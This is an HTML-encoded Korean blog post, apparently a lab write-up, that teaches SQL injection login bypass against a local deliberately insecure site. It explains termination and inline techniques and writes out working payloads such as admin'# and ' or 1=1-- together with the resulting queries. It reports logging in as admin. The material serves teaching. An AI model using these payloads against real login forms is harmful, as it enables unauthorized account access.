&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1458&quot; data-origin-height=&quot;787&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/y9Ovx/btsK3wr4msu/Ks4AtOXzipWyMsdIR2OXfk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/y9Ovx/btsK3wr4msu/Ks4AtOXzipWyMsdIR2OXfk/img.png&quot; data-alt=&quot;DB에 비정상적인 SQL 질의&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/y9Ovx/btsK3wr4msu/Ks4AtOXzipWyMsdIR2OXfk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fy9Ovx%2FbtsK3wr4msu%2FKs4AtOXzipWyMsdIR2OXfk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1458&quot; height=&quot;787&quot; data-origin-width=&quot;1458&quot; data-origin-height=&quot;787&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;DB에 비정상적인 SQL 질의&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;1) 로그인 페이지에 SQL 구문 삽입&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;2) 로그인 시도 - WAS로 ID,PW 전송&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;3) 어플리케이션으로 id=' or 1=1 , pw=asdf 전달&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;4) 사용자 입력값을 조합하여 완성된 SQL 구문이 완성됨&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;비밀번호에 단방향 암호화가 적용되며, 비밀번호가 전달되면 해시함수로 암호화 처리(어플리케이션 단에서 처리)가 된다, 어플리케이션 단에서 비밀번호가 암호화 처리 된다면 비밀번호는 SQL Injection 공격이 통하지 않는다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;5) SQL 구문 삽입이 되며, -- 주석 처리 문자에 의해 비밀번호가 주석 처리가 되어 DB에 비정상적인 SQL 질의를 하게 된다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;6) DB에서 애플리케이션으로 값을 반환하고, 최종적으로 공격자에게 세션을 발급하게 되어 로그인 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;예시(1)&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1374&quot; data-origin-height=&quot;689&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dQttfr/btsK1XktLKZ/cwVhOfdbUdjBF0ymjkiHC0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dQttfr/btsK1XktLKZ/cwVhOfdbUdjBF0ymjkiHC0/img.png&quot; data-alt=&quot;터미네이팅 방식&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dQttfr/btsK1XktLKZ/cwVhOfdbUdjBF0ymjkiHC0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdQttfr%2FbtsK1XktLKZ%2FcwVhOfdbUdjBF0ymjkiHC0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1374&quot; height=&quot;689&quot; data-origin-width=&quot;1374&quot; data-origin-height=&quot;689&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;터미네이팅 방식&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;or 연산자를 기준으로 피연산자가 양쪽에 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;or 연산자는 피연산자 2개 중 1개만 참이면 결과가 참이된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;and 연산자는 피연산자 2개가 전부 참이여야 결과가 참이된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위의 그림은 or 연산자로 1개만 참이여도 결과가 참이된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;주석 문자를 통해서 뒤의 문자를 무시하는 것을 Termination Query(터미네이팅 방식)라고 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;예시(2)&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1335&quot; data-origin-height=&quot;765&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bPIWzn/btsK2Bnuaxr/myYFwsHEYLjAqQ2PF8Z0qK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bPIWzn/btsK2Bnuaxr/myYFwsHEYLjAqQ2PF8Z0qK/img.png&quot; data-alt=&quot;인라인 방식&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bPIWzn/btsK2Bnuaxr/myYFwsHEYLjAqQ2PF8Z0qK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbPIWzn%2FbtsK2Bnuaxr%2FmyYFwsHEYLjAqQ2PF8Z0qK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1335&quot; height=&quot;765&quot; data-origin-width=&quot;1335&quot; data-origin-height=&quot;765&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;인라인 방식&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;터미네이팅 방식으로 공격이 불가능한 경우 인라인 방식을 사용한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;인라인 방식은 논리 연산자의 우선순위를 활용한 방식으로, AND 연산자가 OR 연산자보다 우선순위에 있는 것을 활용하는 방식이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;실습2-2 인증 우회 공격을 통한 사용자 무단 로그인 실습&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;인증 기능을 가진 웹 페이지를 대상으로 무단 로그인 실습을 진행한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;APM Setup 실행 후 127.0.0.1/insecure_website 접속하여, 로그인 페이지에서 무단 로그인 시도한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;유형(1) - ID를 알고 있는 경우&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;유형(2) - ID를 모를 경우&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;구문(1) - In-line Query&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;구문(2) - Termination Query&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;실습1&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ID를 알고 있는 경우, 인라인 방식 사용&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; admin' or '1' = '1&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; select * from member where id='&lt;span style=&quot;background-color: #f6e199;&quot;&gt;&lt;b&gt;admin' or '1' = '1&lt;/b&gt;&lt;/span&gt;' and password=' ';&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; id='admin'은 참, '1'='1' and password=' ' 는 거짓이다. OR 구문을 마지막에 해석하므로 결과적으로 참이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;admin 계정으로 로그인 되었다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;970&quot; data-origin-height=&quot;580&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bZP2B9/btsK4fqdsgP/ZuehQjZNbDkm7qlFd5FKB1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bZP2B9/btsK4fqdsgP/ZuehQjZNbDkm7qlFd5FKB1/img.png&quot; data-alt=&quot;admin' or '1' = '1&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bZP2B9/btsK4fqdsgP/ZuehQjZNbDkm7qlFd5FKB1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbZP2B9%2FbtsK4fqdsgP%2FZuehQjZNbDkm7qlFd5FKB1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;970&quot; height=&quot;580&quot; data-origin-width=&quot;970&quot; data-origin-height=&quot;580&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;admin' or '1' = '1&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;ID를 알고 있는 경우, 인라인 방식 사용&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;rarr; admin' or '1' = '2&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;rarr; select * from member where id='&lt;span style=&quot;background-color: #f6e199;&quot;&gt;&lt;b&gt;admin' or '1' = '2&lt;/b&gt;&lt;/span&gt;' and password=' ';&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;rarr; id='admin'은 참, '1'='2' and password=' ' 는 거짓이다. OR 구문을 마지막에 해석하므로 결과적으로 참이다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;971&quot; data-origin-height=&quot;595&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bsOEZp/btsK2kzKcMv/lAuOpCxbIxnuNWWjKSPPJK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bsOEZp/btsK2kzKcMv/lAuOpCxbIxnuNWWjKSPPJK/img.png&quot; data-alt=&quot;admin' or '1' = '2&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bsOEZp/btsK2kzKcMv/lAuOpCxbIxnuNWWjKSPPJK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbsOEZp%2FbtsK2kzKcMv%2FlAuOpCxbIxnuNWWjKSPPJK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;971&quot; height=&quot;595&quot; data-origin-width=&quot;971&quot; data-origin-height=&quot;595&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;admin' or '1' = '2&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;실습2&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ID를 알고 있는 경우, 터미네이팅 방식 사용&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; admin'#&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; select * from member where id='&lt;span style=&quot;background-color: #f6e199;&quot;&gt;&lt;b&gt;admin'#&lt;/b&gt;&lt;/span&gt;'and password=' ';&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;admin 계정으로 로그인 되었다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;974&quot; data-origin-height=&quot;592&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cK8m1l/btsK18fi1MU/IZXkTYGivDPPqkSA59qlPK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cK8m1l/btsK18fi1MU/IZXkTYGivDPPqkSA59qlPK/img.png&quot; data-alt=&quot;admin'#&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cK8m1l/btsK18fi1MU/IZXkTYGivDPPqkSA59qlPK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcK8m1l%2FbtsK18fi1MU%2FIZXkTYGivDPPqkSA59qlPK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;974&quot; height=&quot;592&quot; data-origin-width=&quot;974&quot; data-origin-height=&quot;592&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;admin'#&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;ID를 알고 있는 경우, 터미네이팅 방식 사용&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;rarr; admin'--&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;rarr; select * from member where id='&lt;span style=&quot;background-color: #f6e199;&quot;&gt;&lt;b&gt;admin'--&lt;/b&gt; &lt;/span&gt;' and password=' ';&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;rarr; select * from member where id='&lt;span style=&quot;background-color: #f6e199;&quot;&gt;&lt;b&gt;admin' --&lt;/b&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;' and password=' ';&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;rarr; MySQL -- 주석 문자 사용 시, --(공백) or (공백)--(공백) 둘 중 하나로 사용하면 된다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;admin 계정으로 로그인 되었다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;972&quot; data-origin-height=&quot;577&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/oE5E0/btsK4siAYXN/imo4fCnJvDwze6YqIqu6lK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/oE5E0/btsK4siAYXN/imo4fCnJvDwze6YqIqu6lK/img.png&quot; data-alt=&quot;admin'--&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/oE5E0/btsK4siAYXN/imo4fCnJvDwze6YqIqu6lK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FoE5E0%2FbtsK4siAYXN%2Fimo4fCnJvDwze6YqIqu6lK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;972&quot; height=&quot;577&quot; data-origin-width=&quot;972&quot; data-origin-height=&quot;577&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;admin'--&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;실습3&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ID를 모를 경우, 인라인 방식 사용&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; ' or 1=1 or '1'='1&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; select * from member where id='&lt;b&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;' or 1=1 or '1'='1&lt;/span&gt;&lt;/b&gt;' and password=' ';&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; id='' or '1'='1' 은 참, '1'='1' and password=' ' 는 거짓이다. 마지막에 OR 구문으로 결과는 참이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; ' or 1=1 or '1'='2&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr;&amp;nbsp; select * from member where id='&lt;b&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;' or 1=1 or '1'='2&lt;/span&gt;&lt;/b&gt;' and password=' ';&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&amp;rarr;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;id='' or '1'='1' 은 참, '1'='2' and password=' ' 는 거짓이다. 마지막에 OR 구문으로 결과는 참이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ID를 입력하지 않은 상태에서 둘 다 admin 계정으로 로그인 되었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SQL 쿼리를 보면 member 테이블의 모든 레코드가 출력되어야 하지만, 현재 admin 계정만 존재하므로 admin 계정으로 로그인 된 것이다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;969&quot; data-origin-height=&quot;572&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/NcKLl/btsK4yC4s63/JpWk6KE6ekzS6uP5Vxswb1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/NcKLl/btsK4yC4s63/JpWk6KE6ekzS6uP5Vxswb1/img.png&quot; data-alt=&quot;' or 1=1 or '1'='1&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/NcKLl/btsK4yC4s63/JpWk6KE6ekzS6uP5Vxswb1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FNcKLl%2FbtsK4yC4s63%2FJpWk6KE6ekzS6uP5Vxswb1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;969&quot; height=&quot;572&quot; data-origin-width=&quot;969&quot; data-origin-height=&quot;572&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;' or 1=1 or '1'='1&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;974&quot; data-origin-height=&quot;600&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bSTbkc/btsK2mYGKmc/gshor0cDExYYDQ4klalAyK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bSTbkc/btsK2mYGKmc/gshor0cDExYYDQ4klalAyK/img.png&quot; data-alt=&quot;' or 1=1 or '1'='2&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bSTbkc/btsK2mYGKmc/gshor0cDExYYDQ4klalAyK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbSTbkc%2FbtsK2mYGKmc%2Fgshor0cDExYYDQ4klalAyK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;974&quot; height=&quot;600&quot; data-origin-width=&quot;974&quot; data-origin-height=&quot;600&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;' or 1=1 or '1'='2&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;실습4&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ID를 모를 경우, 터미네이팅 방식 사용&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; ' or 1=1#&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; select * from member where id='&lt;span style=&quot;background-color: #f6e199;&quot;&gt;&lt;b&gt;' or 1=1#&lt;/b&gt;&lt;/span&gt;' and password=' ';&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; or 1=1# 뒤의 문구는 무시&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; ' or 1=1--&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; select * from member where id='&lt;span style=&quot;background-color: #f6e199;&quot;&gt;&lt;b&gt;' or 1=1--&lt;/b&gt; &lt;/span&gt;' and password=' ';&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; or 1=1-- 뒤의 문구는 무시&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; MySQL -- 주석 문자 사용 시, --(공백) or (공백)--(공백) 둘 중 하나로 사용하면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ID를 입력하지 않은 상태에서 둘 다 admin 계정으로 로그인 되었다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;973&quot; data-origin-height=&quot;578&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/TSduu/btsK5Cz6NoF/A696TkpqskDZ6RrS2syKcK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/TSduu/btsK5Cz6NoF/A696TkpqskDZ6RrS2syKcK/img.png&quot; data-alt=&quot;' or 1=1#&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/TSduu/btsK5Cz6NoF/A696TkpqskDZ6RrS2syKcK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FTSduu%2FbtsK5Cz6NoF%2FA696TkpqskDZ6RrS2syKcK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;973&quot; height=&quot;578&quot; data-origin-width=&quot;973&quot; data-origin-height=&quot;578&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;' or 1=1#&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;970&quot; data-origin-height=&quot;581&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bAEeDo/btsK4IOBROT/bgvGcTaI5Up0AxYkmqBXnK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bAEeDo/btsK4IOBROT/bgvGcTaI5Up0AxYkmqBXnK/img.png&quot; data-alt=&quot;' or 1=1--&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bAEeDo/btsK4IOBROT/bgvGcTaI5Up0AxYkmqBXnK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbAEeDo%2FbtsK4IOBROT%2FbgvGcTaI5Up0AxYkmqBXnK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;970&quot; height=&quot;581&quot; data-origin-width=&quot;970&quot; data-origin-height=&quot;581&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;' or 1=1--&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;만약 테이블에 다른 계정이 존재한다면 어떤 계정으로 로그인 하게 될까?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;CMD 창을 열고 mysql -u root -p 입력 후 test 를 입력하여 MySQL에 접속한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;show databses; 입력하여 DB를 확인&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;use pentest; 입력하여 테이블 확인&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select * from members; 입력하여 member 테이블 출력한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;admin 계정만 존재하는 것을 확인할 수 있다.&lt;/p&gt;
